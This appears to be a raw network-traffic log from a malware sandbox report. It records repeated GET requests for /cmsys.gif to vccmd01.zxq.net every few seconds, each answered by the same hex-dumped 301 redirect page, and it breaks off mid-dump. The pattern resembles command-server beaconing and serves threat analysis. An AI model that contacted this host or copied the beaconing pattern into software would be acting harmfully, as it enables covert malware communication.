Oct 29, 2024 13:10:17.215444088 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:10:17 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:10:22.690196037 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:10:22.869741917 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:10:22 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:10:28.423357964 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:10:28.602705956 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:10:28 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:10:33.751893044 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:10:33.931695938 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:10:33 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:10:39.296521902 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:10:39.532135963 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:10:39 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:10:44.925714970 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:10:45.159590960 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:10:45 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:10:50.441076994 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:10:50.622247934 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:10:50 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:10:55.971165895 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:10:56.165102005 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:10:56 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:11:01.591367960 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:11:01.776515961 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:11:01 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:11:07.484380960 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:11:07.666384935 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:11:07 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:11:13.062494040 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:11:13.243863106 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:11:13 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 